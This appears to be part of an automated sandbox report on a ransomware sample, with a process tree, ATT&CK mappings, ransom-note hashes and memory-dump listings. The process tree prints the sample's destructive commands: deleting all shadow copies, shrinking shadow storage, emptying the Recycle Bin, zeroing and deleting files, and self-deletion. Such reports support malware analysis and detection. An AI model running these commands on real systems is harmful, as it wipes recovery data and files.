- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:328
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1036
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1296
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1508
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:1956
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB
  2⤵
  - Enumerates connected drives
  - Interacts with shadow copies
  PID:1704
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp693F.bat
  2⤵
  PID:2492
- C:\Windows\SysWOW64\notepad.exe
  "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:2240
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  PID:1164
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - Runs ping.exe
    PID:2276
- - C:\Windows\SysWOW64\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:1612
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
  2⤵
  - Deletes itself
  PID:2388
- - C:\Windows\SysWOW64\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2220

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "571799987-1648886198-1812818577-132843394161021411910308607491763808908-1853837625"
1⤵
- Suspicious use of WriteProcessMemory
PID:1548

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-12148152011263496083-228283681143924105-425169049-1486455122-1190043265-1753857442"
1⤵
PID:1792

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-15741348051667739193-1128157077-20224982759649311081329017973-1532737442-956668708"
1⤵
PID:1600

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1665766289-9494478401847932037-915932849950309332-137448934117163576991256653269"
1⤵
PID:1708

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1368

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "16503882331703454131970583709-1461387688-1034186497-209850191-21111203082093885944"
1⤵
PID:540

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1806358005-162193458-152287631993708480-1678573084-7539787715615353261892542492"
1⤵
PID:392

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1939888141890336344-110534270499295656815696683501217314914-712962076-1450605059"
1⤵
- Suspicious use of WriteProcessMemory
PID:1912

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1781434858-522961737-566023887-14738456701235968711179627441312106338361426598308"
1⤵
PID:656

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-182099647551179031-179718797912939746651196188463-10457147041925944248-1593369701"
1⤵
PID:1648

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1434357520-1905404747-2011718415-605789533258393147-1905763923-5415044901922438010"
1⤵
PID:432

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Web Service

T1102

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\HOW_TO_DECYPHER_FILES.txt

Filesize
1KB

MD5
4532b331fe20941d782c79efa46ef5a9

SHA1
787e391bb60d9cbf31599a5e28dbd3a2e5a0991e

SHA256
52d35a64c3edc64da899c695c352609a238ead571ff805de4bb6e4c99306c52c

SHA512
0e9fb47b6ae1b37117ca027117b47b4b42cd02688140e0bb5e6fd998baba6cf1eb3f9ab7d6e9e553f8f9dcf04b346d88056d25f3237c28ec627acc75b9c35000

Download Submit
C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

Filesize
1KB

MD5
4532b331fe20941d782c79efa46ef5a9

SHA1
787e391bb60d9cbf31599a5e28dbd3a2e5a0991e

SHA256
52d35a64c3edc64da899c695c352609a238ead571ff805de4bb6e4c99306c52c

SHA512
0e9fb47b6ae1b37117ca027117b47b4b42cd02688140e0bb5e6fd998baba6cf1eb3f9ab7d6e9e553f8f9dcf04b346d88056d25f3237c28ec627acc75b9c35000

Download Submit
memory/860-58-0x0000000001CA0000-0x0000000001CE0000-memory.dmp

Filesize
256KB

Download
memory/860-60-0x0000000001CA0000-0x0000000001CE0000-memory.dmp

Filesize
256KB

Download
memory/860-59-0x0000000001CA0000-0x0000000001CE0000-memory.dmp

Filesize
256KB

Download
memory/1156-54-0x0000000000F00000-0x0000000000F1C000-memory.dmp

Filesize
112KB

Download
memory/1156-55-0x0000000004A50000-0x0000000004A90000-memory.dmp

Filesize
256KB

Download
memory/1156-117-0x0000000004A50000-0x0000000004A90000-memory.dmp

Filesize
256KB

Download